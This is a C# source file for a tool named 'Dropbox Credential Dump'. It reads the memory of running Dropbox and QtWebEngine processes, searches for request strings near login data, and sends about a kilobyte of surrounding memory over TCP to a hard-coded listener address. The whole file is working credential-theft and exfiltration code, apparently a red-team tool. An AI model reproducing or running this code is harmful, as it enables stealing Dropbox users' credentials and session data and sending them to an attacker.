﻿using System;
using System.Net;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Collections.Generic;
using System.Threading;
using System.Net.Sockets;

// Dropbox Credential Dump
// Author: Tyler Price
// Inspired By: https://github.com/nccgroup/mnemosyne

namespace DropboxCredentialDump
{
    class ProgObj
    {
        // REQUIRED CONSTS

        const int PROCESS_QUERY_INFORMATION = 0x0400;
        const int MEM_COMMIT = 0x00001000;
        const int PAGE_READWRITE = 0x04;
        const int PROCESS_WM_READ = 0x0010;

        // REQUIRED METHODS

        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll")]
        public static extern bool ReadProcessMemory(int hProcess, int lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);

        [DllImport("kernel32.dll")]
        static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);

        // REQUIRED STRUCTS

        public struct MEMORY_BASIC_INFORMATION
        {
            public int BaseAddress;
            public int AllocationBase;
            public int AllocationProtect;
            public int RegionSize;
            public int State;
            public int Protect;
            public int lType;
        }

        public struct SYSTEM_INFO
        {
            public ushort processorArchitecture;
            ushort reserved;
            public uint pageSize;
            public IntPtr minimumApplicationAddress;
            public IntPtr maximumApplicationAddress;
            public IntPtr activeProcessorMask;
            public uint numberOfProcessors;
            public uint processorType;
            public uint allocationGranularity;
            public ushort processorLevel;
            public ushort processorRevision;
        }
      
        // when search string found this function sends to the appropriate output
        public static void send_write(string outputstr)
        {
            System.Threading.Thread.Sleep(1);
       
            Console.WriteLine(outputstr);

            string IP = "172.20.10.5"; // change this to your ip

            try
            {

                IPAddress ipAddress = IPAddress.Parse(IP);
                IPEndPoint remoteIP = new IPEndPoint(ipAddress, 8000); // port 8000 default
                Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                sender.Connect(remoteIP);
                Console.WriteLine("Socket connected to {0}", sender.RemoteEndPoint.ToString());
                byte[] msg = Encoding.ASCII.GetBytes(outputstr);
                int bytesSent = sender.Send(msg);

            }
            catch (SocketException se)
            {
                Console.WriteLine("SocketException : {0}", se.ToString());
            }

        }

        // main method
        static int Main(string[] args)
        {
            MemScan();

            return 0;
        }

        public static void MemScan()
        {

            string searchterm = "is_xhr=true";

            int prepostfix = 500;

            // get all running processes

            Process[] processlist = Process.GetProcesses();

            List<int> attack = new List<int>();

            foreach (Process theprocess in processlist)
            {

                if (theprocess.ProcessName.StartsWith("Dropbox") && theprocess.ProcessName != "DropboxCredentialDump")
                {
                    attack.Add(theprocess.Id);
                    
                }
                if (theprocess.ProcessName.StartsWith("QtWebEngineProcess"))
                {
                    attack.Add(theprocess.Id);
                }
            }

            for (int i = 0; i < attack.Count; i++)
            {
                Process process = Process.GetProcessById(attack[i]);

                // getting minimum & maximum address
                SYSTEM_INFO sys_info = new SYSTEM_INFO();
                GetSystemInfo(out sys_info);

                IntPtr proc_min_address = sys_info.minimumApplicationAddress;
                IntPtr proc_max_address = sys_info.maximumApplicationAddress;

                // saving the values as long ints to avoid  lot of casts later
                long proc_min_address_l = (long)proc_min_address;
                long proc_max_address_l = (long)proc_max_address;

                String toSend = "";

                // opening the process with desired access level
                IntPtr processHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_WM_READ, false, process.Id);

                // we don't want to scrape our own process and if we can't get a handle then it's probalby a protected process
                // so don't try and scan it otherwise Mnemosyne will stall
                if (process.Id != Process.GetCurrentProcess().Id && processHandle != IntPtr.Zero)
                {
                    Console.WriteLine("Working on processID {0} : {1}", process.Id, process.ProcessName);

                    // this will store any information we get from VirtualQueryEx()
                    MEMORY_BASIC_INFORMATION mem_basic_info = new MEMORY_BASIC_INFORMATION();

                    // number of bytes read with ReadProcessMemory
                    int bytesRead = 0;

                    // for some efficiencies, pre-compute prepostfix values
                    int postfix = searchterm.Length + (prepostfix * 2);

                    while (proc_min_address_l < proc_max_address_l)
                    {
                        // 28 = sizeof(MEMORY_BASIC_INFORMATION)
                        VirtualQueryEx(processHandle, proc_min_address, out mem_basic_info, 28);

                        // if this memory chunk is accessible
                        if (mem_basic_info.Protect == PAGE_READWRITE && mem_basic_info.State == MEM_COMMIT)
                        {
                            byte[] buffer = new byte[mem_basic_info.RegionSize];

                            // read everything in the buffer above
                            ReadProcessMemory((int)processHandle, mem_basic_info.BaseAddress, buffer, mem_basic_info.RegionSize, ref bytesRead);

                            String memStringASCII = Encoding.ASCII.GetString(buffer);
                            String memStringUNICODE = Encoding.Unicode.GetString(buffer);

                            // does the search terms exist in this chunk in ASCII form?
                            if (memStringASCII.Contains(searchterm))
                            {
                                int idex = 0;
                                while ((idex = memStringASCII.IndexOf(searchterm, idex)) != -1)
                                {
                                    try
                                    {
                                        toSend += process.ProcessName + ":" + process.Id + ":0x" + (mem_basic_info.BaseAddress + idex).ToString() + ":A:" + memStringASCII.Substring(idex - prepostfix, postfix) + "\n";
                                        send_write(toSend);
                                    }
                                    catch (System.ArgumentOutOfRangeException)
                                    {
                                        Console.WriteLine("Out of bounds exception - width too large.");
                                    }

                                    toSend = "";
                                    idex++;
                                }

                            }

                            // does the search terms exist in this chunk in UNICODE form?
                            if (memStringUNICODE.Contains(searchterm))
                            {
                                int idex = 0;
                                while ((idex = memStringUNICODE.IndexOf(searchterm, idex)) != -1)
                                {
                                    try
                                    {
                                        toSend += process.ProcessName + ":" + process.Id + ":0x" + (mem_basic_info.BaseAddress + idex).ToString() + ":U:" + memStringUNICODE.Substring(idex - prepostfix, postfix) + "\n";
                                        send_write(toSend);
                                    }
                                    catch (System.ArgumentOutOfRangeException)
                                    {
                                        Console.WriteLine("Out of bounds exception - width too large.");
                                    }

                                    toSend = "";
                                    idex++;
                                }

                            }

                        }

                        // truffle shuffle - moving on chunk
                        proc_min_address_l += mem_basic_info.RegionSize;
                        proc_min_address = new IntPtr ((int)proc_min_address_l);

                    }
                }
            }
        }
    }
}
